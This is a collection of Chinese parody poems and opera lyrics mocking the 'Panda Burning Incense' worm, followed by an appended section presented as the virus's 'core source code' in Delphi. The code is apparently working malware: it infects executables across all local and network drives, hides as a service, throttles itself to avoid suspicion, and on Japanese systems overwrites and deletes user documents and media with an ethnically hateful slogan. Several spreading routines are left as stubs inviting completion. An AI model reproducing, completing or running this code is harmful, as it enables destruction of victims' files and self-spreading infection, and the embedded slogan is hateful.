床前明月光,熊貓?jiān)跓?br />專(zhuān)殺殺不盡,兩眼淚汪汪

熊貓燒不盡，關(guān)機(jī)開(kāi)又生

寶劍鋒自磨礪出，熊貓香自網(wǎng)上來(lái)。

無(wú)邊香火燒燒下，不盡熊貓滾滾來(lái)。

身心俱疲終不悔，為貓消得人憔悴

千呼萬(wàn)喚貓出來(lái)，猶抱香火半遮面

相見(jiàn)時(shí)難殺亦難，熊貓燒香百機(jī)殘。

熊貓遜雪三分白，雪卻輸貓一炷香。

天長(zhǎng)地久有時(shí)盡，此香綿綿無(wú)絕期。

貓兒香香燒九州，幾家歡樂(lè)幾家愁。

唯有燒香多放肆，敢教熊貓換小犬。

梨花院落溶溶月.天榭熊貓燒燒香.

水火刀兵無(wú)妄災(zāi),熊貓燒香也自然.

熊貓本無(wú)心,何乎眾人殺

燒香時(shí)難滅亦難，殺軟無(wú)力電腦殘

熊貓如此多嬌, 引無(wú)數(shù)網(wǎng)民竟折腰

上邪~此貓欲燒吾香~山無(wú)棱~天地合~此貓殺不絕

朝辭木馬卡巴間，千里熊貓一刻來(lái)．
兩岸燒香停不住，病毒已染萬(wàn)重山.

黑夜給我黑色的熊貓 我卻用它來(lái)燒香

熊貓鏟盡根除日，家祭毋忘告乃機(jī)

木馬未凈，熊貓先行，一半機(jī)停。。

久旱逢熊貓,
它鄉(xiāng)遇燒香。
機(jī)房殺毒夜，
明早裝機(jī)時(shí)。

一提熊貓淚千行,咋知何日不燒香。

天涯何處無(wú)熊貓,何必單戀三枝香。

熊貓未死香不盡，殺毒正掃淚怎干？

路逢熊貓須當(dāng)避，不是高手莫修機(jī)。

只因世上多熊貓，才有人間百毒生。

熊貓一個(gè)能毀機(jī)，殺毒一堆也關(guān)閉。

夢(mèng)里尋貓千百度,驀然回首已在香火柵欄處

我輕輕得走來(lái) 殺不掉一根熊貓毛

未中莫笑已中者，熊貓一會(huì)到你家。

熊貓宜解不宜結(jié)，生生燒香幾時(shí)休。要知前世因，今生揍熊貓；要知后世因，今生打熊貓
。我從熊貓來(lái)，也從貓熊去。

熊貓本無(wú)火，燒香亦非拜，本來(lái)無(wú)一機(jī)，何處中毒來(lái)。

冬眠不覺(jué)曉，病毒卡巴絞,
熊貓夜燒香，文件毀多少？

《天凈沙 燒香》
江民瑞星昏花，
金山諾頓搬家，
卡巴斯基墮馬。
熊貓香下，
網(wǎng)中人在死捱！

老貓伏櫪，志在千機(jī)；病毒暮年，燒香不已。

滿機(jī)熊貓關(guān)不住，三支高香出墻來(lái)。

年年歲歲貓相似，歲歲年年香不同。

熊貓離家?guī)慊兀拘詿o(wú)改勢(shì)未衰。
卡巴相見(jiàn)不相識(shí)，笑問(wèn)貓從何處來(lái)。

勸君更燒一炷香，系統(tǒng)恢復(fù)無(wú)鏡像。

機(jī)房風(fēng)光,
千里機(jī)癱,
萬(wàn)里半殘。
防火墻內(nèi)外,
廢墟莽莽；
硬盤(pán)上下，
頓時(shí)逃逃。
你舞戰(zhàn)斧，
我施冷槍?zhuān)?br />殺軟病毒試比高。
內(nèi)存如此稀少，
引無(wú)數(shù)電腦競(jìng)折腰。
惜千禧年蟲(chóng)，
功虧一簣；
歡樂(lè)時(shí)光，
兩月魂消。
一代天驕，
沖擊震蕩，
只識(shí)啟機(jī)關(guān)電腦。
俱完矣，
數(shù)風(fēng)流病毒，
還看熊貓

碧云天,黃花地,西風(fēng)緊,熊貓燒香。曉來(lái)誰(shuí)染exe？總是熊貓香。

熊貓言：“貓以險(xiǎn)釁，夙遭閔兇。生貓六月，貓父見(jiàn)背；行年四歲，舅奪母志。祖母貓，
愍貓孤弱，躬親撫養(yǎng)。貓少多疾病。九歲不行。零丁孤苦，至于成立。既無(wú)貓伯，終鮮貓
弟。門(mén)衰祚薄，晚有貓息。外無(wú)期功強(qiáng)近之親，內(nèi)無(wú)應(yīng)門(mén)五尺之童。煢煢孑立，形影相吊
。貓祖夙嬰疾病，常在床蓐；貓燒香火，未嘗廢離。
　　逮奉圣朝，沐浴清化。前太守瑞星，察貓孝廉；后刺史卡巴，舉貓秀才。貓以供養(yǎng)無(wú)
主，辭不赴命。專(zhuān)殺特下，拜貓郎中。尋蒙黃恩，除貓洗馬。猥以微賤，當(dāng)染硬盤(pán)，非貓
燒香所能上報(bào)。貓具以表聞，辭不就職。網(wǎng)速切峻，責(zé)貓逋慢。金山逼迫，催貓上道。江
民臨門(mén)，急于星火。貓欲奉詔猛燒，則以貓祖病日篤；欲茍順?biāo)角椋瑒t告訴不許。貓之進(jìn)
退，實(shí)為狼狽。

胡:想當(dāng)初,
老子的網(wǎng)吧才開(kāi)張
攏共才有十幾臺(tái)機(jī)
七八條槍
遇熊貓追得我暈頭轉(zhuǎn)向
多虧了阿慶嫂
她叫我回收站里面把身藏
她那里視頻上網(wǎng)
面不改色無(wú)事一樣
騙走了熊貓軍
我才躲過(guò)大難一場(chǎng)
似這樣
救命之恩終生難忘
俺胡某講義氣
終當(dāng)報(bào)償
刁:這個(gè)女人哪不尋常
嫂:刁德一有什么鬼心腸
胡:這小刁,一點(diǎn)面子也不講
嫂:這草包倒是一堵系統(tǒng)自帶防火墻
刁:她態(tài)度不卑又不亢
嫂:他神情不陰又不陽(yáng)
胡:刁德一,搞的什么鬼花樣
嫂:他們到底是稅務(wù)還是工商
刁:我待要,旁敲側(cè)擊將她黑
嫂:我必須,察言觀色把他防
刁:適才聽(tīng)得司令講
阿慶嫂真是不尋常
我佩服你沉著機(jī)靈有膽量
竟敢在熊貓面前燒高香
若無(wú)有防毒免重裝的好思想
焉能夠舍己救人不慌張
嫂:參謀長(zhǎng)休要謬夸獎(jiǎng)
舍己救人不敢當(dāng)
開(kāi)網(wǎng)吧,盼興旺
經(jīng)濟(jì)效益第一樁
司令常來(lái)又常往
我有心背靠大樹(shù)好乘涼
也是司令的洪福廣
方能遇難又呈祥
刁:新四軍久在沙家浜
這棵大樹(shù)有陰涼
你與他們長(zhǎng)來(lái)往
想必是安排照應(yīng)更周詳
嫂:壘起雙飛燕
明基搭羅技
擺開(kāi)電腦桌招待十六方
來(lái)的都是客,全憑嘴一張
灌水開(kāi)口笑,過(guò)后不思量
人一走,帖就涼
有什么周詳不周詳

鐵 梅 奶奶，您聽(tīng)我說(shuō)！
（唱）【西皮流水】
我機(jī)的熊貓不清，
沒(méi)有大事不登門(mén)。
雖說(shuō)是，雖說(shuō)是病毒又不相認(rèn)，
殺毒軟件總發(fā)悶。
網(wǎng)友齊聲喚燒香，
這里的奧妙我也能猜出幾分。
他們和威金都一樣，
都有一顆蠕蟲(chóng)的心。

一貓燒香，萬(wàn)機(jī)無(wú)奈

但使熊貓燒香在，不教殘機(jī)過(guò)好年。

熊貓已被格式化，此地空余白硬盤(pán)。
熊貓一去不復(fù)返，網(wǎng)民硬盤(pán)空悠悠。
熊貓燒燒三炷香，系統(tǒng)萋萋E X E 。
重要資料何處是? 可惡熊貓使人愁。

《虞美人》
熊貓燒香何時(shí)了，
中毒知多少？
ghost昨夜又失蹤，
系統(tǒng)不堪回首緩慢中。
文件程序應(yīng)猶在，
只是圖標(biāo)改。
問(wèn)君能有幾多愁，
恰似一江春水向東流。

《熊貓》
貓，貓，貓，
拿香向天燒。
閉眼作祈禱，
明天會(huì)更好。

君不見(jiàn)嶄新電腦剛買(mǎi)來(lái)，奔騰雙核不復(fù)回。
君不見(jiàn)中毒重裝悲白發(fā)，朝如青絲暮成雪。
人生得意須盡歡，莫使論壇空灌水。
天生熊貓必有用，千香燒盡還復(fù)來(lái)。
死機(jī)蘭屏且為樂(lè)，還原一鍵三百秒。
橙八月，灰鴿子，將進(jìn)酒，杯莫停。
與君歌一曲，請(qǐng)君為我開(kāi)視頻。
盜版XP不足貴，但愿長(zhǎng)網(wǎng)不掉線。
古來(lái)網(wǎng)蟲(chóng)皆寂寞，惟有制毒留其名。
陳王昔時(shí)上通宵，光纖千兆恣歡謔。
主人何為言少錢(qián)，徑須沽取對(duì)君酌。
微星板，華碩卡，
呼兒將出換扣肉，與爾同銷(xiāo)萬(wàn)古愁。

百度鳥(niǎo)飛絕
千萬(wàn)高手來(lái)
熊貓燒香在
求爺拜奶奶

《傷機(jī)》
熊貓生南國(guó)，
香來(lái)燒幾支？
愿君多買(mǎi)碟，
此毒最傷機(jī)。

君不見(jiàn)熊貓之香網(wǎng)上來(lái)，系統(tǒng)崩潰不復(fù)回。
君不見(jiàn)殺毒軟件沒(méi)辦法，朝如青絲暮成靶。
雖被感染須盡歡，莫使微機(jī)空對(duì)月。
天生熊貓必?zé)悖脖P(pán)格盡還復(fù)來(lái)。
熊貓它爹且為樂(lè)，逮著必揍三百拳。
卡巴兄、江民弟：將燒香，機(jī)莫關(guān)。
與君香一柱，請(qǐng)君為我傾耳聽(tīng)。
系統(tǒng)文件不足貴，但愿熊貓不更新。
古來(lái)病毒皆寂寞，惟有熊貓留其名。
威金昔時(shí)掛博客，染機(jī)十千恣歡謔。
牛人何為言少錢(qián)，徑須茍取熊貓主。
冤有主，債有頭, 熊貓燒香算個(gè)求，
有種你燒遍地球。

熊貓本無(wú)罪，
香爐亦清白。
必繳造毒者，
還望汝節(jié)哀。

《殺軟不敵》
可憐電腦百千臺(tái)，
雙擊程序久不開(kāi)。
滿機(jī)熊貓關(guān)不住，
三支高香出墻來(lái)。

《香燒網(wǎng)》
人煩熊貓樂(lè)，毒勁機(jī)刪空。
香出燒瘋了，殖民網(wǎng)絡(luò)中。

春節(jié)前夕雨紛紛,登上QQ欲斷魂.
借問(wèn)香火何時(shí)滅,網(wǎng)友遙指滅貓村

金山薄，瑞星惡，熊貓燒香花易落。江民軟，卡巴殘，殺毒心事，獨(dú)語(yǔ)斜欄。難，難，難
！病毒常似秋千索。文件殘，夜闌珊，怕貓來(lái)問(wèn)，咽淚裝歡。瞞，瞞，瞞！

熊貓夜燒香三柱，更燒出，大病毒。瑞星卡巴尸滿路，IE**，XP難入，一夜GHO無(wú)。 滿
城盡燒國(guó)寶香，怒氣沖天格盤(pán)去，眾里尋他千百度，驀然回首，專(zhuān)殺依舊，不知何處。

日照香爐升紫煙，疑似熊貓?jiān)跓?

夾香獨(dú)上西樓, 月如鉤. 寂寞殺毒深房鎖春秋. 殺不斷. 帶復(fù)活. 別是一翻滋味在心頭.

江城子.熊貓燒香
愛(ài)機(jī)已死兩忙忙，不思量，自難忘。
熊貓燒香，無(wú)處話凄涼。
縱使相逢應(yīng)不識(shí)，恨滿面，屏如霜。
夜來(lái)惡夢(mèng)忽還鄉(xiāng)，小熊貓，正燒香。
相顧無(wú)言，唯有淚千行。
料得重裝愛(ài)機(jī)日，熊貓來(lái)，還燒香。

附：熊貓燒香 - 核心源碼
program Japussy;
uses
? Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
? HeaderSize = 82432;????????????????? //病毒體的大小
? IconOffset = $12EB8;???????????????? //PE文件主圖標(biāo)的偏移量
?
? //在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
? //查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量
??
{
? HeaderSize = 38912;????????????????? //Upx壓縮過(guò)病毒體的大小
? IconOffset = $92BC;????????????????? //Upx壓縮過(guò)PE文件主圖標(biāo)的偏移量
?
? //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
? IconSize?? = $2E8;?????????????????? //PE文件主圖標(biāo)的大小--744字節(jié)
? IconTail?? = IconOffset + IconSize;? //PE文件主圖標(biāo)的尾部
? ID???????? = $44444444;????????????? //感染標(biāo)記
?
? //垃圾碼，以備寫(xiě)入
? Catchword = 'If a race need to be killed out, it must be Yamato. ' +
????????????? 'If a country need to be destroyed, it must be Japan! ' +
????????????? '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
? stdcall; external 'Kernel32.dll'; //函數(shù)聲明
var
? TmpFile: string;
? Si:????? STARTUPINFO;
? Pi:????? PROCESS_INFORMATION;
? IsJap:?? Boolean = False; //日文操作系統(tǒng)標(biāo)記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
? Ver: TOSVersionInfo;
begin
? Result := False;
? Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
? if not GetVersionEx(Ver) then
??? Exit;
? if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
??? Result := True;
end;
{ 在流之間復(fù)制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
? dStartPos: Integer; Count: Integer);
var
? sCurPos, dCurPos: Integer;
begin
? sCurPos := Src.Position;
? dCurPos := Dst.Position;
? Src.Seek(sStartPos, 0);
? Dst.Seek(dStartPos, 0);
? Dst.CopyFrom(Src, Count);
? Src.Seek(sCurPos, 0);
? Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來(lái)，以備使用 }
procedure ExtractFile(FileName: string);
var
? sStream, dStream: TFileStream;
begin
? try
??? sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
??? try
????? dStream := TFileStream.Create(FileName, fmCreate);
????? try
??????? sStream.Seek(HeaderSize, 0); //跳過(guò)頭部的病毒部分
??????? dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
????? finally
??????? dStream.Free;
????? end;
??? finally
????? sStream.Free;
??? end;
? except
? end;
end;
{ 填充STARTUPINFO結(jié)構(gòu) }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
? Si.cb := SizeOf(Si);
? Si.lpReserved := nil;
? Si.lpDesktop := nil;
? Si.lpTitle := nil;
? Si.dwFlags := STARTF_USESHOWWINDOW;
? Si.wShowWindow := State;
? Si.cbReserved2 := 0;
? Si.lpReserved2 := nil;
end;
{ 發(fā)帶毒郵件 }
procedure SendMail;
begin
? //哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
? HdrStream, SrcStream: TFileStream;
? IcoStream, DstStream: TMemoryStream;
? iID: LongInt;
? aIcon: TIcon;
? Infected, IsPE: Boolean;
? i: Integer;
? Buf: array[0..1] of Char;
begin
? try //出錯(cuò)則文件正在被使用，退出
??? if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
????? Exit;
??? Infected := False;
??? IsPE???? := False;
??? SrcStream := TFileStream.Create(FileName, fmOpenRead);
??? try
????? for i := 0 to $108 do //檢查PE文件頭
????? begin
??????? SrcStream.Seek(i, soFromBeginning);
??????? SrcStream.Read(Buf, 2);
??????? if (Buf[0] = #80) and (Buf[1] = #69) then //PE標(biāo)記
??????? begin
????????? IsPE := True; //是PE文件
????????? Break;
??????? end;
????? end;
????? SrcStream.Seek(-4, soFromEnd); //檢查感染標(biāo)記
????? SrcStream.Read(iID, 4);
????? if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
??????? Infected := True;
??? finally
????? SrcStream.Free;
??? end;
??? if Infected or (not IsPE) then //如果感染過(guò)了或不是PE文件則退出
????? Exit;
??? IcoStream := TMemoryStream.Create;
??? DstStream := TMemoryStream.Create;
??? try
????? aIcon := TIcon.Create;
????? try
??????? //得到被感染文件的主圖標(biāo)(744字節(jié))，存入流
??????? aIcon.ReleaseHandle;
??????? aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
??????? aIcon.SaveToStream(IcoStream);
????? finally
??????? aIcon.Free;
????? end;
????? SrcStream := TFileStream.Create(FileName, fmOpenRead);
????? //頭文件
????? HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
????? try
??????? //寫(xiě)入病毒體主圖標(biāo)之前的數(shù)據(jù)
??????? CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
??????? //寫(xiě)入目前程序的主圖標(biāo)
??????? CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
??????? //寫(xiě)入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
??????? CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
??????? //寫(xiě)入宿主程序
??????? CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
??????? //寫(xiě)入已感染的標(biāo)記
??????? DstStream.Seek(0, 2);
??????? iID := $44444444;
??????? DstStream.Write(iID, 4);
????? finally
??????? HdrStream.Free;
????? end;
??? finally
????? SrcStream.Free;
????? IcoStream.Free;
????? DstStream.SaveToFile(FileName); //替換宿主文件
????? DstStream.Free;
??? end;
? except;
? end;
end;
{ 將目標(biāo)文件寫(xiě)入垃圾碼后刪除 }
procedure SmashFile(FileName: string);
var
? FileHandle: Integer;
? i, Size, Mass, Max, Len: Integer;
begin
? try
??? SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
??? FileHandle := FileOpen(FileName, fmOpenWrite); //打開(kāi)文件
??? try
????? Size := GetFileSize(FileHandle, nil); //文件大小
????? i := 0;
????? Randomize;
????? Max := Random(15); //寫(xiě)入垃圾碼的隨機(jī)次數(shù)
????? if Max < 5 then
??????? Max := 5;
????? Mass := Size div Max; //每個(gè)間隔塊的大小
????? Len := Length(Catchword);
????? while i < Max do
????? begin
??????? FileSeek(FileHandle, i * Mass, 0); //定位
??????? //寫(xiě)入垃圾碼，將文件徹底破壞掉
??????? FileWrite(FileHandle, Catchword, Len);
??????? Inc(i);
????? end;
??? finally
????? FileClose(FileHandle); //關(guān)閉文件
??? end;
??? DeleteFile(PChar(FileName)); //刪除之
? except
? end;
end;
{ 獲得可寫(xiě)的驅(qū)動(dòng)器列表 }
function GetDrives: string;
var
? DiskType: Word;
? D: Char;
? Str: string;
? i: Integer;
begin
? for i := 0 to 25 do //遍歷26個(gè)字母
? begin
??? D := Chr(i + 65);
??? Str := D + ':';
??? DiskType := GetDriveType(PChar(Str));
??? //得到本地磁盤(pán)和網(wǎng)絡(luò)盤(pán)
??? if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
????? Result := Result + D;
? end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
? i, Count: Integer;
? Fn, Ext: string;
? SubDir: TStrings;
? SearchRec: TSearchRec;
? Msg: TMsg;
? function IsValidDir(SearchRec: TSearchRec): Integer;
? begin
??? if (SearchRec.Attr <> 16) and? (SearchRec.Name <> '.') and
????? (SearchRec.Name <> '..') then
????? Result := 0 //不是目錄
??? else if (SearchRec.Attr = 16) and? (SearchRec.Name <> '.') and
????? (SearchRec.Name <> '..') then
??????? Result := 1 //不是根目錄
??? else Result := 2; //是根目錄
? end;
begin
? if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
? begin
??? repeat
????? PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊(duì)列，避免引起懷疑
????? if IsValidDir(SearchRec) = 0 then
????? begin
??????? Fn := Path + SearchRec.Name;
??????? Ext := UpperCase(ExtractFileExt(Fn));
??????? if (Ext = '.EXE') or (Ext = '.SCR') then
??????? begin
????????? InfectOneFile(Fn); //感染可執(zhí)行文件???????
??????? end
??????? else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
??????? begin
????????? //感染HTML和ASP文件，將Base64編碼后的病毒寫(xiě)入
????????? //感染瀏覽此網(wǎng)頁(yè)的所有用戶
????????? //哪位大兄弟愿意完成之？
??????? end
??????? else if Ext = '.WAB' then //Outlook地址簿文件
??????? begin
????????? //獲取Outlook郵件地址
??????? end
??????? else if Ext = '.ADC' then //Foxmail地址自動(dòng)完成文件
??????? begin
????????? //獲取Foxmail郵件地址
??????? end
??????? else if Ext = 'IND' then //Foxmail地址簿文件
??????? begin
????????? //獲取Foxmail郵件地址
??????? end
??????? else
??????? begin
????????? if IsJap then //是倭文操作系統(tǒng)
????????? begin
??????????? if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
????????????? (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
????????????? (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
????????????? (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
????????????? (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
????????????? (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
??????????????? SmashFile(Fn); //摧毀文件
????????? end;
??????? end;
????? end;
????? //感染或刪除一個(gè)文件后睡眠200毫秒，避免CPU占用率過(guò)高引起懷疑
????? Sleep(200);
??? until (FindNext(SearchRec) <> 0);
? end;
? FindClose(SearchRec);
? SubDir := TStringList.Create;
? if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
? begin
??? repeat
????? if IsValidDir(SearchRec) = 1 then
??????? SubDir.Add(SearchRec.Name);
??? until (FindNext(SearchRec) <> 0);
??? end;
? FindClose(SearchRec);
? Count := SubDir.Count - 1;
? for i := 0 to Count do
??? LoopFiles(Path + SubDir.Strings[i] + '', Mask);
? FreeAndNil(SubDir);
end;
{ 遍歷磁盤(pán)上所有的文件 }
procedure InfectFiles;

var
? DriverList: string;
? i, Len: Integer;
begin
? if GetACP = 932 then //日文操作系統(tǒng)
??? IsJap := True; //去死吧！
? DriverList := GetDrives; //得到可寫(xiě)的磁盤(pán)列表
? Len := Length(DriverList);
? while True do //死循環(huán)
? begin
??? for i := Len downto 1 do //遍歷每個(gè)磁盤(pán)驅(qū)動(dòng)器
????? LoopFiles(DriverList[i] + ':', '*.*'); //感染之
??? SendMail; //發(fā)帶毒郵件
??? Sleep(1000 * 60 * 5); //睡眠5分鐘
? end;
end;
{ 主程序開(kāi)始 }
begin
? if IsWin9x then //是Win9x
??? RegisterServiceProcess(GetCurrentProcessID, 1) //注冊(cè)為服務(wù)進(jìn)程
? else //WinNT
? begin
??? //遠(yuǎn)程線程映射到Explorer進(jìn)程
??? //哪位兄臺(tái)愿意完成之？
? end;
? //如果是原始病毒體自己
? if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
??? InfectFiles //感染和發(fā)郵件
? else //已寄生于宿主程序上了，開(kāi)始工作
? begin
??? TmpFile := ParamStr(0); //創(chuàng)建臨時(shí)文件
??? Delete(TmpFile, Length(TmpFile) - 4, 4);
??? TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個(gè)空格
??? ExtractFile(TmpFile); //分離之
??? FillStartupInfo(Si, SW_SHOWDEFAULT);
??? CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
????? 0, nil, '.', Si, Pi); //創(chuàng)建新進(jìn)程運(yùn)行之
??? InfectFiles; //感染和發(fā)郵件
? end;
end.

~~~~~~~~~~~~~~~~~~~~~~~~